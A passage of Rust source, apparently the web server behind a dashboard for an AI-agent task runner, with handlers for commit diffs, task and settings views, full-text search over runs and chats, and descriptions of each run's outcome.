            .graft
            .as_ref()
            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
        let post = g
            .post
            .clone()
            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
        Ok((state.repo.clone(), g.pre.clone(), post))
    })
    .await?;
    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
    if !hex(&pre) || !hex(&post) {
        return Err(ApiError::not_found("the recorded commits are not valid"));
    }
    let out = tokio::time::timeout(
        GRAFT_DIFF_TIMEOUT,
        crate::git::git_raw(
            &repo,
            &[
                "diff",
                "--no-color",
                "--no-ext-diff",
                "-M",
                &pre,
                &post,
                "--",
            ],
        ),
    )
    .await
    .map_err(|_| ApiError::not_found("git diff timed out"))?
    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
    if out.code != Some(0) {
        return Err(ApiError::not_found(
            "the recorded commits are no longer in the repository",
        ));
    }
    let mut body = out.stdout;
    if body.len() > GRAFT_DIFF_MAX {
        let mut cut = GRAFT_DIFF_MAX;
        while !body.is_char_boundary(cut) {
            cut -= 1;
        }
        body.truncate(cut);
        body.push_str("\n... diff truncated ...");
    }
    Ok((
        [
            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
        ],
        body,
    ))
}

/// A task as the UI sees it.
///
/// The whole task, plus the two things the client would otherwise have to
/// reimplement: the human-readable source and the status string. Nothing is
/// removed - the phone shows `last_error` and the run history verbatim.
#[derive(Debug, Serialize)]
struct TaskView {
    #[serde(flatten)]
    task: Task,
    source_label: String,
    source_link: Option<SourceLink>,
    status_str: &'static str,
    /// The instruction, parsed as markdown, for the Queue card's "Full
    /// instruction" panel. `task.instruction` is unchanged and still carries
    /// the raw text.
    instruction_md: Vec<md::Node>,
    /// For a blocked task, what it waits on with each dependency's state, e.g.
    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
    /// recurses; empty for every other status.
    waits_on: Vec<String>,
    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
    /// behind - non-empty means nothing in the loop will ever run it.
    stuck_roots: Vec<String>,
}

impl From<Task> for TaskView {
    fn from(task: Task) -> Self {
        Self {
            source_label: task.source.label(),
            source_link: source_link(&task.source),
            status_str: task.status.as_str(),
            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
            waits_on: Vec::new(),
            stuck_roots: Vec::new(),
            task,
        }
    }
}

impl TaskView {
    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
        let waits_on = inv.waits_on(&task);
        let stuck_roots = inv
            .stuck_roots(&task)
            .iter()
            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
            .collect();
        Self {
            waits_on,
            stuck_roots,
            ..Self::from(task)
        }
    }
}

/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
/// its absence, leaves the cache to decide.
#[derive(Debug, Default, Deserialize)]
#[serde(default)]
struct ReposQuery {
    refresh: u8,
}

/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
/// listing `magi repos` prints at a terminal.
///
/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
/// so an edit to `magi.toml` takes effect without a restart, the same
/// reasoning [`config_for`] documents for the talk routes.
async fn repos_list(
    State(ui): State<Arc<Ui>>,
    Query(q): Query<ReposQuery>,
) -> ApiResult<Json<Vec<repos::Repo>>> {
    let refresh = q.refresh != 0;
    blocking(move || {
        let (cfg, _) = Config::discover(&ui.repo, None)?;
        Ok(Json(ui.repos_cache.list(
            &cfg.repos.roots,
            Duration::from_secs(cfg.repos.scan_ttl),
            refresh,
        )))
    })
    .await
}

/// Optional context, restricted to the server's known checkouts.
#[derive(Debug, Default, Deserialize)]
struct SettingsQuery {
    repo: Option<PathBuf>,
}

/// Always discover against the server's original context, never the selection.
/// If that config is broken, retain the default context and machine-only roots
/// so the settings error contract and recovery picker remain available.
fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
        let paths: Vec<PathBuf> = ui
            .machine_config
            .iter()
            .filter(|p| p.is_file())
            .cloned()
            .collect();
        if paths.is_empty() {
            Ok(Config::autodetected())
        } else {
            Config::load_layers(&paths)
        }
    });
    let mut known = cfg
        .map(|cfg| {
            ui.repos_cache.list(
                &cfg.repos.roots,
                Duration::from_secs(cfg.repos.scan_ttl),
                refresh,
            )
        })
        .unwrap_or_default();
    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
    if !known.iter().any(|r| r.path == path) {
        known.push(repos::Repo {
            name: path
                .file_name()
                .unwrap_or_default()
                .to_string_lossy()
                .into_owned(),
            path,
        });
    }
    known
}

fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
    let canonical = requested.canonicalize().ok();
    let mut known = settings_repositories(ui, false);
    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
    if !known.iter().any(matches) {
        known = settings_repositories(ui, true);
    }
    let repo = known
        .iter()
        .find(|r| matches(r))
        .map(|r| r.path.clone())
        .ok_or_else(|| ApiError {
            status: StatusCode::UNPROCESSABLE_ENTITY,
            message: "Choose a known repository from the Settings selector.".to_owned(),
        })?;
    Ok((repo, known))
}

/// `GET /api/settings` - the effective role assignments and roster, with the
/// layer each came from. A config that fails to load answers 200 with an
/// `error`, so the screen can say so instead of drawing empty lists.
async fn settings_get(
    State(ui): State<Arc<Ui>>,
    Query(q): Query<SettingsQuery>,
) -> ApiResult<Json<settings::SettingsView>> {
    blocking(move || {
        let (repo, known) = settings_context(&ui, q)?;
        Ok(Json(settings::view_with_repos(
            &repo,
            ui.machine_config.as_deref(),
            &known,
        )))
    })
    .await
}

/// The body of `PUT /api/settings/roles`.
#[derive(Debug, Deserialize)]
#[serde(deny_unknown_fields)]
struct RolesBody {
    /// The `revision` the client last read.
    revision: String,
    /// Role key to its new ids; an empty list resets the key to its default.
    #[serde(default)]
    roles: std::collections::BTreeMap<String, Vec<String>>,
    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
    /// words (422) instead of as a deserialization error.
    #[serde(default)]
    counts: std::collections::BTreeMap<String, serde_json::Value>,
}

/// `PUT /api/settings/roles` - save role assignments to the machine config.
///
/// The write target is `ui.machine_config` and nothing in the body can change
/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
/// 422 with the reason in words.
async fn settings_put_roles(
    State(ui): State<Arc<Ui>>,
    Query(q): Query<SettingsQuery>,
    body: std::result::Result<Json<RolesBody>, JsonRejection>,
) -> ApiResult<Json<settings::SettingsView>> {
    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
    blocking(move || {
        let (repo, known) = settings_context(&ui, q)?;
        settings::save_with_repos(
            &repo,
            ui.machine_config.as_deref(),
            &body.revision,
            &body.roles,
            &body.counts,
            &known,
        )
        .map(Json)
        .map_err(|e| match e {
            settings::SaveError::Conflict(m) => ApiError::conflict(m),
            settings::SaveError::Refused(m) => ApiError {
                status: StatusCode::UNPROCESSABLE_ENTITY,
                message: m,
            },
            settings::SaveError::Internal(m) => ApiError::internal(m),
        })
    })
    .await
}

async fn queue_list(
    State(ui): State<Arc<Ui>>,
    Query(q): Query<ListQuery>,
) -> ApiResult<Json<Vec<TaskView>>> {
    blocking(move || {
        let tasks = ui.queue.list();
        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
        Ok(Json(
            tasks
                .into_iter()
                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
                .map(|t| TaskView::with_inventory(t, &inv))
                .collect(),
        ))
    })
    .await
}

/// Most hits one search returns. The rest are counted in `total`.
const SEARCH_MAX_HITS: usize = 100;
/// Longest query, in characters, and most terms it is split into.
const SEARCH_MAX_QUERY: usize = 200;
const SEARCH_MAX_TERMS: usize = 8;
/// Characters of context kept before the first hit, and after it.
const SNIPPET_BEFORE: usize = 50;
const SNIPPET_AFTER: usize = 110;

/// `?scope=runs|tasks&q=...`
#[derive(Debug, Deserialize)]
struct SearchQuery {
    #[serde(default)]
    scope: String,
    #[serde(default)]
    q: String,
}

/// One piece of a snippet. `hit` pieces are what matched; the client renders
/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
#[derive(Debug, Serialize, PartialEq, Eq)]
struct SnippetPart {
    text: String,
    hit: bool,
}

#[derive(Debug, Serialize)]
struct SearchHit {
    id: String,
    /// The name of the field the snippet was cut from.
    field: String,
    snippet: Vec<SnippetPart>,
    /// The run's list row, so the page can apply its state / section / repo
    /// filters to a hit outside the loaded window. Absent for tasks and for a
    /// run record the list view cannot read.
    #[serde(skip_serializing_if = "Option::is_none")]
    run: Option<RunSummary>,
}

#[derive(Debug, Serialize)]
struct SearchView {
    scope: String,
    q: String,
    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
    hits: Vec<SearchHit>,
    /// Every match, hits beyond the cap included.
    total: usize,
    truncated: bool,
    /// Runs whose `run.json` could not be parsed at all. They were not
    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
    unreadable: usize,
}

/// The text leaves of a JSON document, with the name of the field each sits
/// under. Keys and numbers are skipped: they are structure, not prose.
fn text_leaves<'a>(
    value: &'a serde_json::Value,
    field: &'a str,
    out: &mut Vec<(&'a str, &'a str)>,
) {
    match value {
        serde_json::Value::String(s) => out.push((field, s)),
        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
        _ => {}
    }
}

/// Lower-case one character without changing how many there are, so indices
/// in the lowered text are indices in the original.
fn fold_char(c: char) -> char {
    c.to_lowercase().next().unwrap_or(c)
}

/// Split a query into its lower-cased terms.
fn search_terms(q: &str) -> Vec<String> {
    let mut terms: Vec<String> = Vec::new();
    for t in q.split_whitespace() {
        let t = t.to_lowercase();
        if !terms.contains(&t) {
            terms.push(t);
        }
    }
    terms
}

/// Match `terms` (all of them, anywhere in the document) against the leaves
/// and cut a snippet around the first hit. `None` when a term is missing.
fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
    let mut first: Option<usize> = None;
    for term in terms {
        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
        first = Some(first.map_or(at, |f| f.min(at)));
    }
    // The leaf holding the earliest hit of any term is where the snippet is cut.
    let (field, text) = leaves[first?];
    Some(SearchHit {
        id: String::new(),
        field: field.to_owned(),
        snippet: snippet_of(text, terms),
        run: None,
    })
}

/// A window of `text` around the first occurrence of any term, whitespace
/// collapsed, with every term occurrence inside the window marked.
fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
    let chars: Vec<char> = text.chars().collect();
    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
    let needles: Vec<Vec<char>> = terms
        .iter()
        .map(|t| t.chars().map(fold_char).collect())
        .collect();
    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
        let mut best: Option<(usize, usize)> = None;
        for n in needles.iter().filter(|n| !n.is_empty()) {
            // `to` bounds where a match may start; it may run past `to` (the
            // caller clips what it shows). A term longer than the field cannot
            // occur in it (it may live in another leaf of the document).
            if n.len() > chars.len() || to == 0 {
                continue;
            }
            let last = (to - 1).min(chars.len() - n.len());
            if from > last {
                continue;
            }
            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
                && best.is_none_or(|(b, _)| i < b)
            {
                best = Some((i, i + n.len()));
            }
        }
        best
    };
    let Some((start, _)) = find(0, chars.len()) else {
        // Matched only through a case mapping that changes length: show the head.
        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
        return vec![SnippetPart {
            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
            hit: false,
        }];
    };
    let lo = start.saturating_sub(SNIPPET_BEFORE);
    let hi = (start + SNIPPET_AFTER).min(chars.len());
    let mut parts: Vec<SnippetPart> = Vec::new();
    let mut push = |s: &[char], hit: bool| {
        if s.is_empty() {
            return;
        }
        let text: String = s.iter().collect();
        match parts.last_mut() {
            Some(p) if p.hit == hit => p.text.push_str(&text),
            _ => parts.push(SnippetPart { text, hit }),
        }
    };
    if lo > 0 {
        push(&['\u{2026}'], false);
    }
    let mut at = lo;
    while at < hi {
        match find(at, hi) {
            Some((s, e)) => {
                push(&chars[at..s], false);
                // A match running past the window is shown up to its edge.
                let shown = e.min(hi);
                push(&chars[s..shown], true);
                at = shown;
            }
            None => {
                push(&chars[at..hi], false);
                at = hi;
            }
        }
    }
    if hi < chars.len() {
        push(&['\u{2026}'], false);
    }
    // Collapse whitespace (newlines in an instruction) without disturbing the
    // hit boundaries.
    let mut prev_space = false;
    for p in &mut parts {
        let mut out = String::with_capacity(p.text.len());
        for c in p.text.chars() {
            if c.is_whitespace() {
                if !prev_space {
                    out.push(' ');
                }
                prev_space = true;
            } else {
                out.push(c);
                prev_space = false;
            }
        }
        p.text = out;
    }
    parts.retain(|p| !p.text.is_empty());
    parts
}

/// The search over `docs` (id, document), newest first, capped.
fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
where
    I: IntoIterator<Item = (String, serde_json::Value)>,
{
    for (id, doc) in docs {
        let mut leaves = Vec::new();
        // The id is text an operator types too, and it is a map key on disk,
        // not a leaf.
        leaves.push(("id", id.as_str()));
        text_leaves(&doc, "", &mut leaves);
        if let Some(mut hit) = search_document(terms, &leaves) {
            view.total += 1;
            if view.hits.len() < SEARCH_MAX_HITS {
                hit.id = id;
                view.hits.push(hit);
            }
        }
    }
    view.truncated = view.total > view.hits.len();
}

/// What a conversation is searched by: its list title and each turn's text,
/// under `operator` / `agent` so the snippet says who spoke. Nothing else
/// (session ids, repo paths, usage, drafts) is part of the document.
///
/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
fn talk_search_doc(talk: &Talk) -> serde_json::Value {
    let opener = talk
        .turns
        .iter()
        .find(|t| t.who == crate::talk::Who::Operator)
        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
        .unwrap_or("");
    let title: String = if opener.chars().count() > 96 {
        opener.chars().take(95).chain(['\u{2026}']).collect()
    } else {
        opener.to_owned()
    };
    let turns: Vec<serde_json::Value> = talk
        .turns
        .iter()
        .map(|t| {
            let who = match t.who {
                crate::talk::Who::Operator => "operator",
                crate::talk::Who::Agent => "agent",
            };
            serde_json::json!({ who: t.body })
        })
        .collect();
    serde_json::json!({ "title": title, "turns": turns })
}

/// Read-only full-text search over every run's `run.json`, every task or every
/// conversation (title and transcript).
///
/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
/// record from an older schema still searches; only a file that is not JSON
/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
async fn search_get(
    State(ui): State<Arc<Ui>>,
    Query(q): Query<SearchQuery>,
) -> ApiResult<Json<SearchView>> {
    let query = q.q.trim().to_owned();
    if query.is_empty() {
        return Err(ApiError::bad_request("q must not be empty"));
    }
    if query.chars().count() > SEARCH_MAX_QUERY {
        return Err(ApiError::bad_request(format!(
            "q is longer than {SEARCH_MAX_QUERY} characters"
        )));
    }
    let terms = search_terms(&query);
    if terms.len() > SEARCH_MAX_TERMS {
        return Err(ApiError::bad_request(format!(
            "q has more than {SEARCH_MAX_TERMS} terms"
        )));
    }
    let scope = q.scope;
    if scope != "runs" && scope != "tasks" && scope != "chats" {
        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
    }
    blocking(move || {
        let mut view = SearchView {
            scope: scope.clone(),
            q: query,
            hits: Vec::new(),
            total: 0,
            truncated: false,
            unreadable: 0,
        };
        if scope == "runs" {
            let mut unreadable = 0;
            // One run.json is read, matched and dropped at a time; nothing
            // holds the whole history. The scan runs to the end even past the
            // hit cap so `total` and `unreadable` stay exact.
            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
                match body.and_then(|b| serde_json::from_str(&b).ok()) {
                    Some(v) => Some((id, v)),
                    None => {
                        unreadable += 1;
                        None
                    }
                }
            });
            search_docs(&terms, docs, &mut view);
            view.unreadable = unreadable;
            // Only the capped hits get a row: the filters need a run's state,
            // and reading every match would be the whole history again.
            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
            for hit in &mut view.hits {
                if let Ok(state) = read_run(&ui.runs, &hit.id) {
                    hit.run = summarize(
                        [state],
                        &open_runs,
                        &claimed,
                        &superseded,
                        |p| probe.borrow_mut().status(p),
                        |p| probe.borrow_mut().started_at(p),
                    )
                    .pop();
                }
            }
        } else if scope == "chats" {
            let (talks, unreadable) = ui.talks.list_counting_unreadable();
            view.unreadable = unreadable;
            search_docs(
                &terms,
                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
                &mut view,
            );
        } else {
            let docs = ui.queue.list().into_iter().filter_map(|t| {
                let mut v = serde_json::to_value(&t).ok()?;
                // `source` serialises as a tagged object; the label is what
                // the operator reads ("human", "chat@a1b2").
                if let Some(o) = v.as_object_mut() {
                    o.insert("filed_by".to_owned(), t.source.label().into());
                }
                Some((t.id, v))
            });
            search_docs(&terms, docs, &mut view);
        }
        Ok(Json(view))
    })
    .await
}

/// One attempt in a task's history, as the task page lists it.
#[derive(Debug, Serialize)]
struct TaskRunView {
    /// 1-based position in [`Task::runs`].
    n: usize,
    id: String,
    short: String,
    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
    kind: &'static str,
    /// The run's own status string; `None` when its record cannot be read.
    status: Option<&'static str>,
    /// Whether this build could read the run's record. Counted, never hidden.
    readable: bool,
    /// A verdict from a collapsed panel is provisional, never a decision.
    provisional: bool,
    /// What kind of attempt this was, in one line.
    description: String,
    /// How it ended and why the task moved on (or what it is doing now).
    outcome: String,
    created_at: Option<Timestamp>,
    pr: Option<String>,
    /// Why this pass ended, classified once; the flowchart is built from it.
    exit: RunExit,
    /// What the pass did to the task's attempt budget.
    attempt: AttemptCost,
    /// Edge wording for leaving this entry; names the recorded cause when
    /// there is one.
    exit_label: String,
    /// The position of a later entry for the same run: this entry is an
    /// earlier pass of it.
    later_pass: Option<usize>,
    /// Which pass over the run this entry is (1-based) and how many entries
    /// the task lists for the run. Counted from the list, so known even for
    /// a legacy record.
    pass_n: usize,
    passes_of_run: usize,
    /// What the run recorded about this pass; `None` for a record from before
    /// passes were kept, whose cause stays unknown.
    pass: Option<PassView>,
    /// The branch a review-only run reopened.
    branch: Option<String>,
    /// The badge word when it differs from `status` (`stale` / `superseded`);
    /// filled by the task route, which can see liveness and later attempts.
    badge: Option<String>,
}

/// One recorded pass over a run, for the wire.
#[derive(Debug, Clone, PartialEq, Serialize)]
struct PassView {
    index: usize,
    resumed: bool,
    started_at: Timestamp,
    ended_at: Option<Timestamp>,
    /// `open`, `parked` or `unrecorded`.
    end: &'static str,
    cause: Option<crate::run::ParkCause>,
    /// One line: why it stopped, or that nobody recorded why.
    label: String,
    /// What the task recorded for this pass; `None` when it was not settled
    /// (or settled by a build that kept no record).
    cost: Option<crate::queue::PassCost>,
}

impl PassView {
    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
        use crate::run::PassEnd;
        let (end, cause, label) = match &p.end {
            None => ("open", None, "still open".to_owned()),
            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
            Some(PassEnd::Unrecorded) => (
                "unrecorded",
                None,
                "stopped without recording why (a crash, a kill or a restart; not known)"
                    .to_owned(),
            ),
        };
        Self {
            index: p.index,
            resumed: p.resumed,
            started_at: p.started_at,
            ended_at: p.ended_at,
            end,
            cause,
            label,
            cost: settled.map(|t| t.cost),
        }
    }
}

/// How one pass over a run ended, as far as the task's life is concerned.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
#[serde(rename_all = "snake_case")]
enum RunExit {
    Unreadable,
    /// An earlier pass of a run id that appears again: it stopped short.
    Interrupted,
    Parked,
    QuotaStall,
    /// Stalled on a resumed pass with quota losses on record: they may be
    /// left over from an earlier pass, so whether this one was refunded is
    /// not knowable.
    ResumedQuotaStall,
    Merged,
    Ready,
    Superseded,
    /// The change was already on the base under other commits: the task
    /// finished without this run landing anything.
    AlreadyInBase,
    /// Stalled without a rate limit to blame: no verdict, attempt spent.
    Stalled,
    /// Blocked / no-op with a pull request left open: held for a person.
    HeldWithPr,
    NoopHeld,
    /// Blocked or failed: the attempt is spent and the task retries or holds.
    Spent,
    InProgress,
}

#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
#[serde(rename_all = "snake_case")]
enum AttemptCost {
    Spent,
    Refunded,
    None,
    /// Cannot be told from the records that remain.
    Unknown,
}

impl RunExit {
    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
        let Some(s) = s else {
            return Self::Unreadable;
        };
        let status = s.status;
        if resumed_later {
            Self::Interrupted
        } else if s.parked {
            Self::Parked
        } else if !status.done() {
            Self::InProgress
        } else if matches!(status, RunStatus::Merged) {
            Self::Merged
        } else if matches!(status, RunStatus::Ready) {
            Self::Ready
        } else if matches!(status, RunStatus::Superseded) {
            Self::Superseded
        } else if matches!(status, RunStatus::AlreadyInBase) {
            Self::AlreadyInBase
        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
        {
            if resumed {
                Self::ResumedQuotaStall
            } else {
                Self::QuotaStall
            }
        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
            Self::HeldWithPr
        } else if matches!(status, RunStatus::VerifiedNoop) {
            Self::NoopHeld
        } else if matches!(status, RunStatus::Stalled) {
            Self::Stalled
        } else {
            Self::Spent
        }
    }

    fn cost(self) -> AttemptCost {
        match self {
            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
            Self::Merged
            | Self::Ready
            | Self::Stalled
            | Self::HeldWithPr
            | Self::NoopHeld
            | Self::Spent => AttemptCost::Spent,
            Self::InProgress => AttemptCost::None,
            Self::AlreadyInBase => AttemptCost::Refunded,
            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
                AttemptCost::Unknown
            }
        }
    }

    /// Short edge wording for leaving a run this way.
    fn edge_label(self, status: Option<&str>) -> String {
        match self {
            Self::Unreadable => "record unreadable".to_owned(),
            Self::Interrupted => "interrupted before the run finished".to_owned(),
            Self::Parked => "parked, attempt refunded".to_owned(),
            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
            Self::Merged => "merged".to_owned(),
            Self::Ready => "ready, not merged".to_owned(),
            Self::Superseded => "superseded by a later attempt".to_owned(),
            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
            Self::HeldWithPr => "blocked, PR left open".to_owned(),
            Self::NoopHeld => "verified no-op".to_owned(),
            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
            Self::InProgress => "in progress".to_owned(),
        }
    }

    /// Does a task in `end` follow from a run that ended this way? When not,
    /// somebody closed or held the task by hand.
    fn explains(self, end: TaskStatus) -> bool {
        match self {
            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
            Self::Unreadable | Self::Superseded | Self::Ready => true,
            _ => end != TaskStatus::Done,
        }
    }
}

/// `GET /api/queue/{id}` - one task with every attempt it went through.
#[derive(Debug, Serialize)]
struct TaskDetailView {
    #[serde(flatten)]
    task: TaskView,
    /// Task override, or the default daemon budget when inherited.
    /// A separate loop's command-line limit is not visible from here.
    max_attempts: usize,
    history: Vec<TaskRunView>,
    /// Entries in `history`: passes over runs, not distinct runs and not
    /// attempts consumed (`task.attempts`).
    passes_total: usize,
    /// Distinct runs those passes belong to.
    runs_distinct: usize,
    flow: FlowView,
    /// Set for a follow-up task; see [`followup_origin`].
    followup_origin: Option<FollowUpOrigin>,
    /// How many entries of `history` could not be read.
    runs_unreadable: usize,
    /// Why the attempt count can be lower than the number of runs.
    attempts_note: &'static str,
}

const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";

/// The branch a review-only run reopened, read off the instruction
/// `Runner::open_review` writes.
fn review_branch_of(instruction: &str) -> Option<&str> {
    let rest = instruction.strip_prefix("Review the work already on branch `")?;
    rest.split('`').next().filter(|b| !b.is_empty())
}

/// Where an entry sits in a task's run list.
#[derive(Default)]
struct RunSlot<'a> {
    /// 1-based position.
    n: usize,
    /// The same run id appeared earlier: this pass resumed it.
    resumed: bool,
    /// Position of a later pass over the same run id, if any.
    resumed_later: Option<usize>,
    /// The previous distinct run and how it ended, for the retry note.
    prior: Option<(&'a str, RunStatus)>,
    last: bool,
    /// This pass as the run recorded it, when it did.
    pass: Option<&'a crate::run::RunPass>,
    /// What the task recorded when it settled this pass.
    settled: Option<&'a crate::queue::TaskPass>,
    /// 1-based position among the task's entries for this run, and their count.
    pass_n: usize,
    passes_of_run: usize,
}

/// Describe one entry of a task's run list. Pure: everything it needs is on
/// the run and the task, so it is asserted without a server.
fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
    let RunSlot {
        n,
        resumed,
        resumed_later,
        prior,
        last,
        pass,
        settled,
        pass_n,
        passes_of_run,
    } = at;
    let short = run::short_of(id).to_owned();
    let Some(s) = state else {
        return TaskRunView {
            n,
            id: id.to_owned(),
            short,
            kind: "unknown",
            status: None,
            readable: false,
            provisional: false,
            description:
                "This run's record could not be read by this build (written by a different \
                          magi, or removed), so what kind of attempt it was is unknown."
                    .to_owned(),
            outcome: String::new(),
            created_at: None,
            pr: None,
            exit: RunExit::Unreadable,
            attempt: AttemptCost::Unknown,
            exit_label: RunExit::Unreadable.edge_label(None),
            later_pass: resumed_later,
            pass_n,
            passes_of_run,
            pass: None,
            branch: None,
            badge: None,
        };
    };
    let branch = review_branch_of(&s.instruction);
    let kind = if resumed {
        "resume"
    } else if branch.is_some() {
        "review"
    } else if task.solo || s.candidates.len() == 1 {
        "solo"
    } else {
        "competition"
    };
    let mut description = match kind {
        "resume" => {
            format!("Resumed run {short}: the same run carried on instead of competing again.")
        }
        "review" => format!(
            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
            branch.unwrap_or_default()
        ),
        "solo" => "Solo run: one implementer straight into review.".to_owned(),
        _ => format!(
            "Competition: {} candidates judged blind.",
            s.candidates.len().max(1)
        ),
    };
    if !resumed && let Some((p, st)) = prior {
        description.push_str(&format!(
            " A retry: run {p} before it ended {}.",
            st.display_label()
        ));
    }

    let status = s.status;
    let provisional = matches!(status, RunStatus::Stalled)
        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
    let head = if resumed_later.is_some() {
        String::new()
    } else {
        match status {
            RunStatus::Merged => "Merged.".to_owned(),
            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
            RunStatus::AlreadyInBase => {
                "Already in the base: this change landed under other commits, nothing was left to land."
                    .to_owned()
            }
            RunStatus::Stalled => {
                "Stalled: the judging panel never reached a quorum, so there is no verdict."
                    .to_owned()
            }
            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
            RunStatus::VerifiedNoop => {
                "Verified no-op: the candidates found nothing to change.".to_owned()
            }
            other if other.done() => format!("Ended {}.", other.display_label()),
            other => format!("In progress ({}).", other.display_label()),
        }
    };
    let view = pass.map(|p| PassView::of(p, settled));
    let recorded_end = view
        .as_ref()
        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
    let cost_words = match view.as_ref().and_then(|v| v.cost) {
        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
        None => "whether its attempt was handed back was not recorded",
    };
    let pass_note = if passes_of_run > 1 {
        format!(
            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
        )
    } else {
        String::new()
    };
    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
        // The run recorded this pass's end when it happened.
        let cause = match v.end {
            "parked" => format!("It was stopped on purpose: {}.", v.label),
            _ => format!("It {}.", v.label),
        };
        format!(
            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
            capitalise(cost_words)
        )
    } else if let Some(k) = resumed_later {
        // A run is only picked up again while it is unfinished, so an earlier
        // pass of a repeated id stopped short; the record keeps only the run's
        // latest status, which is left to the pass that carried it on.
        // Only the latest state is recorded: `parked` is cleared on resume
        // and `quota` accumulates across passes, so neither says why *this*
        // pass stopped, and the refund is as unknown as `AttemptCost` says.
        let cause = if s.quota.is_empty() {
            "the cause was not recorded: a park, a crash or a restart all look the same from here"
        } else {
            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
        };
        format!(
